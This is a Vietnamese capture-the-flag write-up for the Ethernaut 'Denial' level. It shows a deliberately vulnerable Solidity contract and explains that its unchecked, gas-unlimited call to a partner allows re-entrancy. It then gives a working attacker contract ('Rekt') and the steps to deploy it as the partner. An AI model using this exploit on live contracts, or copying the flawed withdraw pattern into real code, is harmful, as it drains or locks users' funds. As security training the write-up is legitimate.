20. Denial
Nhiệm vụ: bằng các nào đó ngăn owner rút tiền khi gọi withdraw
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
Phân tích
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
Tại hàm withdraw
này lại chuyển tiền cho partner trước khi chuyển cho owner, mà lại không phải chuyển bằng transfer
thông thường giống với owner, mà lại chuyển bằng call
- hàm không bị giới hạn gas limit tại 2300; đây là một chỉ dẫn quá rõ ràng cho lỗ hổng re-entrancy ta đã quen thuộc. Ta chỉ cần tạo một contract partner, trong đó tiếp tục thực hiện gọi withdraw
tại receive
là xong.
Solution
Chuẩn bị một contract partner như sau:
contract Rekt {
Denial dn;
constructor(address payable dnAddr) public {
dn = Denial(dnAddr);
}
receive() external payable {
dn.withdraw();
}
}
-
deploy contract, trong truòng hợp của mình ta được địa chỉ contract mới là
0x7E40F554a71B2E39168f3e6f3AF19ee7B824E1dd
-
gọi hàm
setWithdrawPartner
với partner là địa chỉ của contract vừa deploy
contract.setWithdrawPartner("0x7E40F554a71B2E39168f3e6f3AF19ee7B824E1dd");
-
Khi này mỗi khi owner gọi withdraw thì tiền sẽ bị partner rút hết trước.
-
Submit & all done!